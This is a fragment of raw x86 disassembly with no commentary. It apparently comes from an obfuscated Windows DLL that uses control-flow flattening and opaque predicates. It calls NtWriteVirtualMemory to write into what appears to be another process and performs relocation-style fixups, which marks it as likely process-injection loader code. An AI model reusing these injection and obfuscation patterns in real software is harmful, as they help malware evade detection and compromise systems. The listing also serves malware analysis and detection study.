add ecx, 4
mov eax, dword [ebp - 0x134]
mov dword [eax], ecx
mov dword [ebp - 0x198], 0x3faecb6a
jmp 0x10006840
mov eax, dword [0x10067538]
mov ecx, dword [0x10067534]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe0d7486f
mov ecx, 0x1d1d6b09
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10006840
mov ecx, dword [0x10067538]
mov eax, dword [0x10067534]
mov edx, ecx
add edx, 0x2f32eb3e
sub edx, 1
sub edx, 0x2f32eb3e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9502129a
mov ecx, 0x4dc411c0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10006840
mov dword [ebp - 0x198], 0x1332acff
jmp 0x10006840
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call fcn.100029b0
add esp, 4
mov dword [ebp - 0x194], eax
mov dword [ebp - 0x198], 0x5dd76f6a
jmp 0x10006840
mov eax, dword [ebp - 0xec]
mov esi, dword [eax]
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0xf4]
mov edx, dword [ebp - 0xf0]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x198], 0x20b4eceb
jmp 0x10006840
mov eax, dword [ebp - 0x164]
mov ecx, dword [ebp - 0xe8]
mov dword [eax], ecx
mov dword [ebp - 0x198], 0x1d4179ad
jmp 0x10006840
mov dword [ebp - 0x198], 0x236f4864
jmp 0x10006840
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x198], 0xd4f168d0
jmp 0x10006840
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0x198], 0x56aa6d8f
jmp 0x10006840
mov eax, dword [ebp - 0x144]
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x198], 0x9e9a00a2
jmp 0x10006840
mov eax, dword [ebp - 0x178]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x160]
mov eax, dword [eax]
mov eax, dword [eax]
add ecx, 0x348df1dc
add ecx, eax
sub ecx, 0x348df1dc
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov edx, dword [ebp - 0x144]
mov edx, dword [edx]
movzx eax, word [eax + edx*2]
xor eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xfff
mov edx, 0xffffffff
xor edx, 0x44376b25
or eax, esi
or edx, 0x44376b25
xor eax, 0xffffffff
and eax, edx
sub ecx, 0xc2ad8e11
add ecx, eax
add ecx, 0xc2ad8e11
mov eax, dword [ebp - 0x140]
mov dword [eax], ecx
mov dword [ebp - 0x198], 0xff3761bc
jmp 0x10006840
mov dword [ebp - 0x198], 0xbf248e1
jmp 0x10006840
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x84]
xor eax, eax
sub eax, 8
sub ecx, eax
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x178]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x198], 0xdb3d0c21
jmp 0x10006840
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x198], 0x232db459
jmp 0x10006840
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0x198], 0x1d1d6b09
jmp 0x10006840
mov eax, dword [ebp - 0x68]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x198], 0x4dc411c0
jmp 0x10003260